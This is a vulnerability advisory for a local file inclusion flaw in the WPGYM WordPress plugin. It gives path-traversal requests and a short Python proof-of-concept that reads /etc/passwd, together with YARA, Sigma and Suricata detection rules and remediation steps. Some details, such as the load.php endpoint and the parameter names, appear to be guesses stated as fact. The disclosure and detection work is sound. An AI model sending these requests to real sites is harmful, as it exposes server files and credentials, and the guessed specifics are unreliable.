CVE-2025-32549

Executive Summary

CVE-2025-32549 is a critical vulnerability in the WPGYM WordPress plugin (gym-management) developed by Mojoomla. The flaw is a PHP Local File Inclusion (LFI) stemming from improper control of a filename used in an include/require statement. An unauthenticated attacker can exploit this to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, or source code. The CVSS score is 7.5 (High), and no patch is currently available. This vulnerability is specific to the WordPress ecosystem and affects all versions up to and including 65.0.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users are advised to disable or remove the plugin immediately. The lack of a patch increases supply chain risk, as compromised sites could be used to pivot attacks to other systems or exfiltrate data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the WPGYM plugin's handling of file inclusion. The plugin likely uses a user-supplied parameter (e.g., page, template, or file) to include a PHP file without proper sanitization. By manipulating this parameter, an attacker can traverse directories and include arbitrary files from the server.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include($file . '.php');
?>

An attacker can exploit this by sending a request like:

GET /wp-content/plugins/wpgym/some-page.php?file=../../../../etc/passwd

This would attempt to include /etc/passwd.php, but due to PHP's behavior, the null byte or path truncation may allow reading /etc/passwd directly.

Vulnerable vs. Patched Code

Vulnerable Code (WPGYM <= 65.0):

<?php
// No input validation or sanitization
$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
?>

Patched Code (Hypothetical):

<?php
$allowed_templates = array('dashboard', 'reports', 'members');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Handle error
}
?>

The patched version uses a whitelist to restrict file inclusion to known safe templates.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress with WPGYM plugin version 65.0.
2. Ensure the server is accessible (e.g., http://target/wp/).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., template, file, page).
2. Craft a request to read /etc/passwd:

   GET /wp-content/plugins/wpgym/includes/load.php?template=../../../../etc/passwd%00
   

   (The %00 null byte may be needed to terminate the .php extension.)
3. Alternatively, use path traversal without null byte if the extension is not appended:

   GET /wp-content/plugins/wpgym/includes/load.php?template=../../../../etc/passwd
   

4. If successful, the file content will be displayed in the response.

Proof of Concept (PoC) Script:

import requests

target = "http://target/wp/"
payload = "../../../../etc/passwd"
url = target + "wp-content/plugins/wpgym/includes/load.php?template=" + payload

response = requests.get(url)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for suspicious ../ patterns in GET parameters.
• Look for requests to wpgym/includes/load.php or similar files with unusual parameters.
• Use WAF rules to block path traversal attempts.

Response:

• Immediately disable the WPGYM plugin if no patch is available.
• Check for signs of compromise (e.g., unexpected files, modified configurations).
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php, /var/log/apache2/access.log
• URL Patterns: ?template=../../../../etc/passwd, ?file=../../../wp-config.php
• Log Entries: HTTP GET requests containing ../ or %00 in the query string.
• Plugin Version: WPGYM <= 65.0

Detection Engineering

YARA Rule

rule CVE_2025_32549_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting WPGYM plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32549"
    strings:
        $lfi_pattern1 = /template=[^&]*\.\.\// nocase
        $lfi_pattern2 = /file=[^&]*\.\.\// nocase
        $lfi_pattern3 = /page=[^&]*\.\.\// nocase
        $wp_path = /wp-content\/plugins\/wpgym/ nocase
    condition:
        $wp_path and any of ($lfi_pattern*)
}

Sigma Rule

title: CVE-2025-32549 WPGYM LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in WPGYM plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'template=../'
            - 'file=../'
            - 'page=../'
        cs-uri-stem|contains: '/wp-content/plugins/wpgym/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32549 WPGYM LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/wpgym/"; http_uri; pcre:"/(template|file|page)=[^&]*\.\.\//iU"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPGYM plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Review server logs for any signs of exploitation.

Long-term Fix:

• Apply the official patch from Mojoomla when available.
• Replace the plugin with a secure alternative if no patch is forthcoming.
• Conduct a security audit of all WordPress plugins in use.

Workaround:

• Modify the vulnerable PHP file to add input validation (if you have access to the codebase). For example, whitelist allowed template names.

Valters IT